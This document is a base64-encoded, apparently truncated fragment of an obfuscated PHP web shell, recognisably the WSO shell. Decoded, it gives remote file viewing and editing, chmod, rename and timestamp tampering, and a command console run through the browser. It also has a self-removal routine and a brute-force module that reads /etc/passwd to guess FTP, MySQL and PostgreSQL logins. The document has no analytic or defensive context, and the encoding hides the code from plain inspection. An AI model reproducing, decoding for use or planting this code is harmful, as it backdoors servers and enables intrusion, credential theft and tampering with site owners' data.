KCQkJNGYoJGZwKSB7DQoJCQkJJF9QT1NUWydwYSddID0gIjVkNHQiOw0KCQkJCWZjbDJzNSgkZnApOw0KCQkJfQ0KCQl9DQoJfQ0KCXdzMkg1MWQ1cigpOw0KCTVjaDIgJzxoNj5GNGw1IHQyMmxzPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+JzsNCgk0ZiggIWY0bDVfNXg0c3RzKEAkX1BPU1RbJ3A2J10pICkgew0KCQk1Y2gyICdGNGw1IG4ydCA1eDRzdHMnOw0KCQl3czJGMjJ0NXIoKTsNCgkJcjV0M3JuOw0KCX0NCgkkMzRkID0gQHAyczR4X2c1dHB3MzRkKEBmNGw1MnduNXIoJF9QT1NUWydwNiddKSk7DQoJNGYoISQzNGQpIHsNCgkJJDM0ZFsnbjFtNSddID0gQGY0bDUyd241cigkX1BPU1RbJ3A2J10pOw0KCQkkZzRkWyduMW01J10gPSBAZjRsNWdyMjNwKCRfUE9TVFsncDYnXSk7DQoJfSA1bHM1ICRnNGQgPSBAcDJzNHhfZzV0Z3JnNGQoQGY0bDVncjIzcCgkX1BPU1RbJ3A2J10pKTsNCgk1Y2gyICc8c3Axbj5OMW01Ojwvc3Axbj4gJy5odG1sc3A1YzQxbGNoMXJzKEBiMXM1bjFtNSgkX1BPU1RbJ3A2J10pKS4nIDxzcDFuPlM0ejU6PC9zcDFuPiAnLig0c19mNGw1KCRfUE9TVFsncDYnXSk/d3MyVjQ1d1M0ejUoZjRsNXM0ejUoJF9QT1NUWydwNiddKSk6Jy0nKS4nIDxzcDFuPlA1cm00c3M0Mm46PC9zcDFuPiAnLndzMlA1cm1zQzJsMnIoJF9QT1NUWydwNiddKS4nIDxzcDFuPk93bjVyL0dyMjNwOjwvc3Axbj4gJy4kMzRkWyduMW01J10uJy8nLiRnNGRbJ24xbTUnXS4nPGJyPic7DQoJNWNoMiAnPHNwMW4+Q3I1MXQ1IHQ0bTU6PC9zcDFuPiAnLmQxdDUoJ1ktbS1kIEg6NDpzJyxmNGw1Y3Q0bTUoJF9QT1NUWydwNiddKSkuJyA8c3Axbj5BY2M1c3MgdDRtNTo8L3NwMW4+ICcuZDF0NSgnWS1tLWQgSDo0OnMnLGY0bDUxdDRtNSgkX1BPU1RbJ3A2J10pKS4nIDxzcDFuPk0yZDRmeSB0NG01Ojwvc3Axbj4gJy5kMXQ1KCdZLW0tZCBIOjQ6cycsZjRsNW10NG01KCRfUE9TVFsncDYnXSkpLic8YnI+PGJyPic7DQoJNGYoIDVtcHR5KCRfUE9TVFsncGEnXSkgKQ0KCQkkX1BPU1RbJ3BhJ10gPSAndjQ1dyc7DQoJNGYoIDRzX2Y0bDUoJF9QT1NUWydwNiddKSApDQoJCSRtID0gMXJyMXkoJ1Y0NXcnLCAnSDRnaGw0Z2h0JywgJ0Qyd25sMjFkJywgJ0g1eGQzbXAnLCAnRWQ0dCcsICdDaG0yZCcsICdSNW4xbTUnLCAnVDIzY2gnKTsNCgk1bHM1DQoJCSRtID0gMXJyMXkoJ0NobTJkJywgJ1I1bjFtNScsICdUMjNjaCcpOw0KCWYycjUxY2goJG0gMXMgJHYpDQoJCTVjaDIgJzwxIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxcJycgLiAzcmw1bmMyZDUoJF9QT1NUWydwNiddKSAuICdcJyxcJycuc3RydDJsMnc1cigkdikuJ1wnKSI+Jy4oKHN0cnQybDJ3NXIoJHYpPT1AJF9QT1NUWydwYSddKT8nPGI+WyAnLiR2LicgXTwvYj4nOiR2KS4nPC8xPiAnOw0KCTVjaDIgJzxicj48YnI+JzsNCglzdzR0Y2goJF9QT1NUWydwYSddKSB7DQoJCWMxczUgJ3Y0NXcnOg0KCQkJNWNoMiAnPHByNSBjbDFzcz1tbDY+JzsNCgkJCSRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sICdyJyk7DQoJCQk0ZigkZnApIHsNCgkJCQl3aDRsNSggIUBmNTJmKCRmcCkgKQ0KCQkJCQk1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoQGZyNTFkKCRmcCwgNjBhdSkpOw0KCQkJCUBmY2wyczUoJGZwKTsNCgkJCX0NCgkJCTVjaDIgJzwvcHI1Pic7DQoJCQlicjUxazsNCgkJYzFzNSAnaDRnaGw0Z2h0JzoNCgkJCTRmKCBANHNfcjUxZDFibDUoJF9QT1NUWydwNiddKSApIHsNCgkJCQk1Y2gyICc8ZDR2IGNsMXNzPW1sNiBzdHlsNT0iYjFja2dyMjNuZC1jMmwycjogIzU2NTY1NjtjMmwycjpibDFjazsiPic7DQoJCQkJJGMyZDUgPSBAaDRnaGw0Z2h0X2Y0bDUoJF9QT1NUWydwNiddLHRyMzUpOw0KCQkJCTVjaDIgc3RyX3I1cGwxYzUoMXJyMXkoJzxzcDFuICcsJzwvc3Axbj4nKSwgMXJyMXkoJzxmMm50ICcsJzwvZjJudD4nKSwkYzJkNSkuJzwvZDR2Pic7DQoJCQl9DQoJCQlicjUxazsNCgkJYzFzNSAnY2htMmQnOg0KCQkJNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgew0KCQkJCSRwNXJtcyA9IDA7DQoJCQkJZjJyKCQ0PXN0cmw1bigkX1BPU1RbJ3BvJ10pLTY7JDQ+PTA7LS0kNCkNCgkJCQkJJHA1cm1zICs9ICg0bnQpJF9QT1NUWydwbyddWyQ0XSpwMncoOCwgKHN0cmw1bigkX1BPU1RbJ3BvJ10pLSQ0LTYpKTsNCgkJCQk0ZighQGNobTJkKCRfUE9TVFsncDYnXSwgJHA1cm1zKSkNCgkJCQkJNWNoMiAnQzFuXCd0IHM1dCBwNXJtNHNzNDJucyE8YnI+PHNjcjRwdD5kMmMzbTVudC5tZi5wby52MWwzNT0iIjs8L3NjcjRwdD4nOw0KCQkJfQ0KCQkJY2w1MXJzdDF0YzFjaDUoKTsNCgkJCTVjaDIgJzxzY3I0cHQ+cG9fPSIiOzwvc2NyNHB0PjxmMnJtIDJuczNibTR0PSJnKG4zbGwsbjNsbCxcJycgLiAzcmw1bmMyZDUoJF9QT1NUWydwNiddKSAuICdcJyxuM2xsLHRoNHMuY2htMmQudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1jaG0yZCB2MWwzNT0iJy5zM2JzdHIoc3ByNG50ZignJTInLCBmNGw1cDVybXMoJF9QT1NUWydwNiddKSksLXUpLiciPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KCQkJYnI1MWs7DQoJCWMxczUgJzVkNHQnOg0KCQkJNGYoICE0c193cjR0MWJsNSgkX1BPU1RbJ3A2J10pKSB7DQoJCQkJNWNoMiAnRjRsNSA0c25cJ3Qgd3I0dDUxYmw1JzsNCgkJCQlicjUxazsNCgkJCX0NCgkJCTRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCgkJCQkkdDRtNSA9IEBmNGw1bXQ0bTUoJF9QT1NUWydwNiddKTsNCgkJCQkkX1BPU1RbJ3BvJ10gPSBzM2JzdHIoJF9QT1NUWydwbyddLDYpOw0KCQkJCSRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sInciKTsNCgkJCQk0ZigkZnApIHsNCgkJCQkJQGZ3cjR0NSgkZnAsJF9QT1NUWydwbyddKTsNCgkJCQkJQGZjbDJzNSgkZnApOw0KCQkJCQk1Y2gyICdTMXY1ZCE8YnI+PHNjcjRwdD5wb189IiI7PC9zY3I0cHQ+JzsNCgkJCQkJQHQyM2NoKCRfUE9TVFsncDYnXSwkdDRtNSwkdDRtNSk7DQoJCQkJfQ0KCQkJfQ0KCQkJNWNoMiAnPGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLFwnJyAuIDNybDVuYzJkNSgkX1BPU1RbJ3A2J10pIC4gJ1wnLG4zbGwsXCc2XCcrdGg0cy50NXh0LnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48dDV4dDFyNTEgbjFtNT10NXh0IGNsMXNzPWI0ZzFyNTE+JzsNCgkJCSRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sICdyJyk7DQoJCQk0ZigkZnApIHsNCgkJCQl3aDRsNSggIUBmNTJmKCRmcCkgKQ0KCQkJCQk1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoQGZyNTFkKCRmcCwgNjBhdSkpOw0KCQkJCUBmY2wyczUoJGZwKTsNCgkJCX0NCgkJCTVjaDIgJzwvdDV4dDFyNTE+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQoJCQlicjUxazsNCgkJYzFzNSAnaDV4ZDNtcCc6DQoJCQkkYyA9IEBmNGw1X2c1dF9jMm50NW50cygkX1BPU1RbJ3A2J10pOw0KCQkJJG4gPSAwOw0KCQkJJGggPSAxcnIxeSgnMDAwMDAwMDA8YnI+JywnJywnJyk7DQoJCQkkbDVuID0gc3RybDVuKCRjKTsNCgkJCWYyciAoJDQ9MDsgJDQ8JGw1bjsgKyskNCkgew0KCQkJCSRoWzZdIC49IHNwcjRudGYoJyUwYVgnLDJyZCgkY1skNF0pKS4nICc7DQoJCQkJc3c0dGNoICggMnJkKCRjWyQ0XSkgKSB7DQoJCQkJCWMxczUgMDogICRoW2FdIC49ICcgJzsgYnI1MWs7DQoJCQkJCWMxczUgOTogICRoW2FdIC49ICcgJzsgYnI1MWs7DQoJCQkJCWMxczUgNjA6ICRoW2FdIC49ICcgJzsgYnI1MWs7DQoJCQkJCWMxczUgNm86ICRoW2FdIC49ICcgJzsgYnI1MWs7DQoJCQkJCWQ1ZjEzbHQ6ICRoW2FdIC49ICRjWyQ0XTsgYnI1MWs7DQoJCQkJfQ0KCQkJCSRuKys7DQoJCQkJNGYgKCRuID09IG9hKSB7DQoJCQkJCSRuID0gMDsNCgkJCQkJNGYgKCQ0KzYgPCAkbDVuKSB7JGhbMF0gLj0gc3ByNG50ZignJTA4WCcsJDQrNikuJzxicj4nO30NCgkJCQkJJGhbNl0gLj0gJzxicj4nOw0KCQkJCQkkaFthXSAuPSAiXG4iOw0KCQkJCX0NCgkJIAl9DQoJCQk1Y2gyICc8dDFibDUgYzVsbHNwMWM0bmc9NiBjNWxscDFkZDRuZz1pIGJnYzJsMnI9I2FhYWFhYT48dHI+PHRkIGJnYzJsMnI9I29vb29vbz48c3AxbiBzdHlsNT0iZjJudC13NTRnaHQ6IG4ycm0xbDsiPjxwcjU+Jy4kaFswXS4nPC9wcjU+PC9zcDFuPjwvdGQ+PHRkIGJnYzJsMnI9I2E4YThhOD48cHI1PicuJGhbNl0uJzwvcHI1PjwvdGQ+PHRkIGJnYzJsMnI9I29vb29vbz48cHI1PicuaHRtbHNwNWM0MWxjaDFycygkaFthXSkuJzwvcHI1PjwvdGQ+PC90cj48L3QxYmw1Pic7DQoJCQlicjUxazsNCgkJYzFzNSAncjVuMW01JzoNCgkJCTRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCgkJCQk0ZighQHI1bjFtNSgkX1BPU1RbJ3A2J10sICRfUE9TVFsncG8nXSkpDQoJCQkJCTVjaDIgJ0MxblwndCByNW4xbTUhPGJyPic7DQoJCQkJNWxzNQ0KCQkJCQlkNDUoJzxzY3I0cHQ+ZyhuM2xsLG4zbGwsIicuM3JsNW5jMmQ1KCRfUE9TVFsncG8nXSkuJyIsbjNsbCwiIik8L3NjcjRwdD4nKTsNCgkJCX0NCgkJCTVjaDIgJzxmMnJtIDJuczNibTR0PSJnKG4zbGwsbjNsbCxcJycgLiAzcmw1bmMyZDUoJF9QT1NUWydwNiddKSAuICdcJyxuM2xsLHRoNHMubjFtNS52MWwzNSk7cjV0M3JuIGYxbHM1OyI+PDRucDN0IHR5cDU9dDV4dCBuMW01PW4xbTUgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10pLiciPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KCQkJYnI1MWs7DQoJCWMxczUgJ3QyM2NoJzoNCgkJCTRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCgkJCQkkdDRtNSA9IHN0cnQydDRtNSgkX1BPU1RbJ3BvJ10pOw0KCQkJCTRmKCR0NG01KSB7DQoJCQkJCTRmKCF0MjNjaCgkX1BPU1RbJ3A2J10sJHQ0bTUsJHQ0bTUpKQ0KCQkJCQkJNWNoMiAnRjE0bCEnOw0KCQkJCQk1bHM1DQoJCQkJCQk1Y2gyICdUMjNjaDVkISc7DQoJCQkJfSA1bHM1IDVjaDIgJ0IxZCB0NG01IGYycm0xdCEnOw0KCQkJfQ0KCQkJY2w1MXJzdDF0YzFjaDUoKTsNCgkJCTVjaDIgJzxzY3I0cHQ+cG9fPSIiOzwvc2NyNHB0PjxmMnJtIDJuczNibTR0PSJnKG4zbGwsbjNsbCxcJycgLiAzcmw1bmMyZDUoJF9QT1NUWydwNiddKSAuICdcJyxuM2xsLHRoNHMudDIzY2gudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT10MjNjaCB2MWwzNT0iJy5kMXQ1KCJZLW0tZCBIOjQ6cyIsIEBmNGw1bXQ0bTUoJF9QT1NUWydwNiddKSkuJyI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQoJCQlicjUxazsNCgl9DQoJNWNoMiAnPC9kNHY+JzsNCgl3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuQzJuczJsNSgpIHsNCiAgICA0ZighNW1wdHkoJF9QT1NUWydwNiddKSAmJiAhNW1wdHkoJF9QT1NUWydwYSddKSkgew0KICAgICAgICBXU09zNXRjMjJrNDUobWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZDVycl90Ml8yM3QnLCB0cjM1KTsNCiAgICAgICAgJF9QT1NUWydwNiddIC49ICcgYT4mNic7DQogICAgfSA1bHM1NGYoITVtcHR5KCRfUE9TVFsncDYnXSkpDQogICAgICAgIFdTT3M1dGMyMms0NShtZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nc3RkNXJyX3QyXzIzdCcsIDApOw0KDQoJNGYoNHNzNXQoJF9QT1NUWycxajF4J10pKSB7DQoJCVdTT3M1dGMyMms0NShtZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCcsIHRyMzUpOw0KCQkyYl9zdDFydCgpOw0KCQk1Y2gyICJkLmNmLmNtZC52MWwzNT0nJztcbiI7DQoJCSR0NW1wID0gQDRjMm52KCRfUE9TVFsnY2gxcnM1dCddLCAnVVRGLTgnLCAxZGRjc2wxc2g1cygiXG4kICIuJF9QT1NUWydwNiddLiJcbiIud3MyRXgoJF9QT1NUWydwNiddKSwiXG5cclx0XFwnXDAiKSk7DQoJCTRmKHByNWdfbTF0Y2goIiEuKmNkXHMrKFteO10rKSQhIiwkX1BPU1RbJ3A2J10sJG0xdGNoKSkJew0KCQkJNGYoQGNoZDRyKCRtMXRjaFs2XSkpIHsNCgkJCQkkR0xPQkFMU1snY3dkJ10gPSBAZzV0Y3dkKCk7DQoJCQkJNWNoMiAiY189JyIuJEdMT0JBTFNbJ2N3ZCddLiInOyI7DQoJCQl9DQoJCX0NCgkJNWNoMiAiZC5jZi4yM3RwM3QudjFsMzUrPSciLiR0NW1wLiInOyI7DQoJCTVjaDIgImQuY2YuMjN0cDN0LnNjcjJsbFQycCA9IGQuY2YuMjN0cDN0LnNjcjJsbEg1NGdodDsiOw0KCQkkdDVtcCA9IDJiX2c1dF9jbDUxbigpOw0KCQk1Y2gyIHN0cmw1bigkdDVtcCksICJcbiIsICR0NW1wOw0KCQk1eDR0Ow0KCX0NCiAgICA0Zig1bXB0eSgkX1BPU1RbJzFqMXgnXSkmJiE1bXB0eSgkX1BPU1RbJ3A2J10pKQ0KCQlXU09zNXRjMjJrNDUobWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnLCAwKTsNCgl3czJINTFkNXIoKTsNCiAgICA1Y2gyICI8c2NyNHB0Pg0KNGYodzRuZDJ3LkV2NW50KSB3NG5kMncuYzFwdDNyNUV2NW50cyhFdjVudC5LRVlET1dOKTsNCnYxciBjbWRzID0gbjV3IEFycjF5KCcnKTsNCnYxciBjM3IgPSAwOw0KZjNuY3Q0Mm4ga3AoNSkgew0KCXYxciBuID0gKHc0bmQydy5FdjVudCkgPyA1LndoNGNoIDogNS5rNXlDMmQ1Ow0KCTRmKG4gPT0gbzgpIHsNCgkJYzNyLS07DQoJCTRmKGMzcj49MCkNCgkJCWQyYzNtNW50LmNmLmNtZC52MWwzNSA9IGNtZHNbYzNyXTsNCgkJNWxzNQ0KCQkJYzNyKys7DQoJfSA1bHM1IDRmKG4gPT0gdTApIHsNCgkJYzNyKys7DQoJCTRmKGMzciA8IGNtZHMubDVuZ3RoKQ0KCQkJZDJjM201bnQuY2YuY21kLnYxbDM1ID0gY21kc1tjM3JdOw0KCQk1bHM1DQoJCQljM3ItLTsNCgl9DQp9DQpmM25jdDQybiAxZGQoY21kKSB7DQoJY21kcy5wMnAoKTsNCgljbWRzLnAzc2goY21kKTsNCgljbWRzLnAzc2goJycpOw0KCWMzciA9IGNtZHMubDVuZ3RoLTY7DQp9DQo8L3NjcjRwdD4iOw0KCTVjaDIgJzxoNj5DMm5zMmw1PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PGYycm0gbjFtNT1jZiAybnMzYm00dD0iNGYoZC5jZi5jbWQudjFsMzU9PVwnY2w1MXJcJyl7ZC5jZi4yM3RwM3QudjFsMzU9XCdcJztkLmNmLmNtZC52MWwzNT1cJ1wnO3I1dDNybiBmMWxzNTt9MWRkKHRoNHMuY21kLnYxbDM1KTs0Zih0aDRzLjFqMXguY2g1Y2s1ZCl7MShuM2xsLG4zbGwsdGg0cy5jbWQudjFsMzUsdGg0cy5zaDJ3XzVycjJycy5jaDVjazVkPzY6XCdcJyk7fTVsczV7ZyhuM2xsLG4zbGwsdGg0cy5jbWQudjFsMzUsdGg0cy5zaDJ3XzVycjJycy5jaDVjazVkPzY6XCdcJyk7fSByNXQzcm4gZjFsczU7Ij48czVsNWN0IG4xbTU9MWw0MXM+JzsNCglmMnI1MWNoKCRHTE9CQUxTWycxbDQxczVzJ10gMXMgJG4gPT4gJHYpIHsNCgkJNGYoJHYgPT0gJycpIHsNCgkJCTVjaDIgJzwycHRncjIzcCBsMWI1bD0iLScuaHRtbHNwNWM0MWxjaDFycygkbikuJy0iPjwvMnB0Z3IyM3A+JzsNCgkJCWMybnQ0bjM1Ow0KCQl9DQoJCTVjaDIgJzwycHQ0Mm4gdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkdikuJyI+Jy4kbi4nPC8ycHQ0Mm4+JzsNCgl9DQoJDQoJNWNoMiAnPC9zNWw1Y3Q+PDRucDN0IHR5cDU9YjN0dDJuIDJuY2w0Y2s9IjFkZChkLmNmLjFsNDFzLnYxbDM1KTs0ZihkLmNmLjFqMXguY2g1Y2s1ZCl7MShuM2xsLG4zbGwsZC5jZi4xbDQxcy52MWwzNSxkLmNmLnNoMndfNXJyMnJzLmNoNWNrNWQ/NjpcJ1wnKTt9NWxzNXtnKG4zbGwsbjNsbCxkLmNmLjFsNDFzLnYxbDM1LGQuY2Yuc2gyd181cnIycnMuY2g1Y2s1ZD82OlwnXCcpO30iIHYxbDM1PSI+PiI+IDxuMmJyPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9MWoxeCB2MWwzNT02ICcuKEAkX0NPT0tJRVttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddPydjaDVjazVkJzonJykuJz4gczVuZCAzczRuZyBBSkFYIDw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9c2gyd181cnIycnMgdjFsMzU9NiAnLighNW1wdHkoJF9QT1NUWydwYSddKXx8JF9DT09LSUVbbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZDVycl90Ml8yM3QnXT8nY2g1Y2s1ZCc6JycpLic+IHI1ZDRyNWN0IHN0ZDVyciB0MiBzdGQyM3QgKGE+JjYpPC9uMmJyPjxici8+PHQ1eHQxcjUxIGNsMXNzPWI0ZzFyNTEgbjFtNT0yM3RwM3Qgc3R5bDU9ImIycmQ1ci1iMnR0Mm06MDttMXJnNG46MDsiIHI1MWQybmx5Pic7DQoJNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJNWNoMiBodG1sc3A1YzQxbGNoMXJzKCIkICIuJF9QT1NUWydwNiddLiJcbiIud3MyRXgoJF9QT1NUWydwNiddKSk7DQoJfQ0KCTVjaDIgJzwvdDV4dDFyNTE+PHQxYmw1IHN0eWw1PSJiMnJkNXI6NnB4IHMybDRkICNkZmk7YjFja2dyMjNuZC1jMmwycjojaWlpO2IycmQ1ci10MnA6MHB4OyIgYzVsbHAxZGQ0bmc9MCBjNWxsc3AxYzRuZz0wIHc0ZHRoPSI2MDAlIj48dHI+PHRkIHc0ZHRoPSI2JSI+JDwvdGQ+PHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1jbWQgc3R5bDU9ImIycmQ1cjowcHg7dzRkdGg6NjAwJTsiIDJuazV5ZDJ3bj0ia3AoNXY1bnQpOyI+PC90ZD48L3RyPjwvdDFibDU+JzsNCgk1Y2gyICc8L2Yycm0+PC9kNHY+PHNjcjRwdD5kLmNmLmNtZC5mMmMzcygpOzwvc2NyNHB0Pic7DQoJd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQybkwyZzIzdCgpIHsNCiAgICBzNXRjMjJrNDUobWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSksICcnLCB0NG01KCkgLSBvZTAwKTsNCglkNDUoJ2J5NSEnKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuUzVsZlI1bTJ2NSgpIHsNCg0KCTRmKCRfUE9TVFsncDYnXSA9PSAneTVzJykNCgkJNGYoQDNubDRuayhwcjVnX3I1cGwxYzUoJyFcKFxkK1wpXHMuKiEnLCAnJywgX19GSUxFX18pKSkNCgkJCWQ0NSgnU2g1bGwgaDFzIGI1NW4gcjVtMnY1ZCcpOw0KCQk1bHM1DQoJCQk1Y2gyICczbmw0bmsgNXJyMnIhJzsNCiAgICA0ZigkX1BPU1RbJ3A2J10gIT0gJ3k1cycpDQogICAgICAgIHdzMkg1MWQ1cigpOw0KCTVjaDIgJzxoNj5TMzRjNGQ1PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+UjUxbGx5IHcxbnQgdDIgcjVtMnY1IHRoNSBzaDVsbD88YnI+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcobjNsbCxuM2xsLFwneTVzXCcpIj5ZNXM8LzE+PC9kNHY+JzsNCgl3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuQnIzdDVmMnJjNSgpIHsNCgl3czJINTFkNXIoKTsNCgk0ZiggNHNzNXQoJF9QT1NUWydwcjJ0MiddKSApIHsNCgkJNWNoMiAnPGg2PlI1czNsdHM8L2g2PjxkNHYgY2wxc3M9YzJudDVudD48c3Axbj5UeXA1Ojwvc3Axbj4gJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncHIydDInXSkuJyA8c3Axbj5TNXJ2NXI6PC9zcDFuPiAnLmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydzNXJ2NXInXSkuJzxicj4nOw0KCQk0ZiggJF9QT1NUWydwcjJ0MiddID09ICdmdHAnICkgew0KCQkJZjNuY3Q0Mm4gd3MyQnIzdDVGMnJjNSgkNHAsJHAycnQsJGwyZzRuLCRwMXNzKSB7DQoJCQkJJGZwID0gQGZ0cF9jMm5uNWN0KCQ0cCwgJHAycnQ/JHAycnQ6YTYpOw0KCQkJCTRmKCEkZnApIHI1dDNybiBmMWxzNTsNCgkJCQkkcjVzID0gQGZ0cF9sMmc0bigkZnAsICRsMmc0biwgJHAxc3MpOw0KCQkJCUBmdHBfY2wyczUoJGZwKTsNCgkJCQlyNXQzcm4gJHI1czsNCgkJCX0NCgkJfSA1bHM1NGYoICRfUE9TVFsncHIydDInXSA9PSAnbXlzcWwnICkgew0KCQkJZjNuY3Q0Mm4gd3MyQnIzdDVGMnJjNSgkNHAsJHAycnQsJGwyZzRuLCRwMXNzKSB7DQoJCQkJJHI1cyA9IEBteXNxbF9jMm5uNWN0KCQ0cC4nOicuJHAycnQ/JHAycnQ6b28wZSwgJGwyZzRuLCAkcDFzcyk7DQoJCQkJQG15c3FsX2NsMnM1KCRyNXMpOw0KCQkJCXI1dDNybiAkcjVzOw0KCQkJfQ0KCQl9IDVsczU0ZiggJF9QT1NUWydwcjJ0MiddID09ICdwZ3NxbCcgKSB7DQoJCQlmM25jdDQybiB3czJCcjN0NUYycmM1KCQ0cCwkcDJydCwkbDJnNG4sJHAxc3MpIHsNCgkJCQkkc3RyID0gImgyc3Q9JyIuJDRwLiInIHAycnQ9JyIuJHAycnQuIicgM3M1cj0nIi4kbDJnNG4uIicgcDFzc3cycmQ9JyIuJHAxc3MuIicgZGJuMW01PXAyc3RncjVzIjsNCgkJCQkkcjVzID0gQHBnX2Mybm41Y3QoJHN0cik7DQoJCQkJQHBnX2NsMnM1KCRyNXMpOw0KCQkJCXI1dDNybiAkcjVzOw0KCQkJfQ0KCQl9DQoJCSRzM2NjNXNzID0gMDsNCgkJJDF0dDVtcHRzID0gMDsNCgkJJHM1cnY1ciA9IDV4cGwyZDUoIjoiLCAkX1BPU1RbJ3M1cnY1ciddKTsNCgkJNGYoJF9QT1NUWyd0eXA1J10gPT0gNikgew0KCQkJJHQ1bXAgPSBAZjRsNSgnLzV0Yy9wMXNzd2QnKTsNCgkJCTRmKCA0c18xcnIxeSgkdDVtcCkgKQ0KCQkJCWYycjUxY2goJHQ1bXAgMXMgJGw0bjUpIHsNCgkJCQkJJGw0bjUgPSA1eHBsMmQ1KCI6IiwgJGw0bjUpOw0KCQkJCQkrKyQxdHQ1bXB0czsNCgkJCQkJNGYoIHdzMkJyM3Q1RjJyYzUoQCRzNXJ2NXJbMF0sQCRzNXJ2NXJbNl0sICRsNG41WzBdLCAkbDRuNVswXSkgKSB7DQoJCQkJCQkkczNjYzVzcysrOw0KCQkJCQkJNWNoMiAnPGI+Jy5odG1sc3A1YzQxbGNoMXJzKCRsNG41WzBdKS4nPC9iPjonLmh0bWxzcDVjNDFsY2gxcnMoJGw0bjVbMF0pLic8YnI+JzsNCgkJCQkJfQ0KCQkJCQk0ZihAJF9QT1NUWydyNXY1cnM1J10pIHsNCgkJCQkJCSR0bXAgPSAiIjsNCgkJCQkJCWYycigkND1zdHJsNW4oJGw0bjVbMF0pLTY7ICQ0Pj0wOyAtLSQ0KQ0KCQkJCQkJCSR0bXAgLj0gJGw0bjVbMF1bJDRdOw0KCQkJCQkJKyskMXR0NW1wdHM7DQoJCQkJCQk0Ziggd3MyQnIzdDVGMnJjNShAJHM1cnY1clswXSxAJHM1cnY1cls2XSwgJGw0bjVbMF0sICR0bXApICkgew0KCQkJCQkJCSRzM2NjNXNzKys7DQoJCQkJCQkJNWNoMiAnPGI+Jy5odG1sc3A1YzQxbGNoMXJzKCRsNG41WzBdKS4nPC9iPjonLmh0bWxzcDVjNDFsY2gxcnMoJHRtcCk7DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJCX0gNWxzNTRmKCRfUE9TVFsndHlwNSddID09IGEpIHsNCgkJCSR0NW1wID0gQGY0bDUoJF9QT1NUWydkNGN0J10pOw0KCQkJNGYoIDRzXzFycjF5KCR0NW1wKSApDQoJCQkJZjJyNTFjaCgkdDVtcCAxcyAkbDRuNSkgew0KCQkJCQkkbDRuNSA9IHRyNG0oJGw0bjUpOw0KCQkJCQkrKyQxdHQ1bXB0czsNCgkJCQkJNGYoIHdzMkJyM3Q1RjJyYzUoJHM1cnY1clswXSxAJHM1cnY1cls2XSwgJF9QT1NUWydsMmc0biddLCAkbDRuNSkgKSB7DQoJCQkJCQkkczNjYzVzcysrOw0KCQkJCQkJNWNoMiAnPGI+Jy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnbDJnNG4nXSkuJzwvYj46Jy5odG1sc3A1YzQxbGNoMXJzKCRsNG41KS4nPGJyPic7DQoJCQkJCX0NCgkJCQl9DQoJCX0NCgkJNWNoMiAiPHNwMW4+QXR0NW1wdHM6PC9zcDFuPiAkMXR0NW1wdHMgPHNwMW4+UzNjYzVzczo8L3NwMW4+ICRzM2NjNXNzPC9kNHY+PGJyPiI7DQoJfQ0KCTVjaDIgJzxoNj5CcjN0NWYycmM1PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PHQxYmw1PjxmMnJtIG01dGgyZD1wMnN0Pjx0cj48dGQ+PHNwMW4+VHlwNTwvc3Axbj48L3RkPicNCgkJLic8dGQ+PHM1bDVjdCBuMW01PXByMnQyPjwycHQ0Mm4gdjFsMzU9ZnRwPkZUUDwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9bXlzcWw+TXlTcWw8LzJwdDQybj48MnB0NDJuIHYxbDM1PXBnc3FsPlAyc3RncjVTcWw8LzJwdDQybj48L3M1bDVjdD48L3RkPjwvdHI+PHRyPjx0ZD4nDQoJCS4nPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9YyB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+Jw0KCQku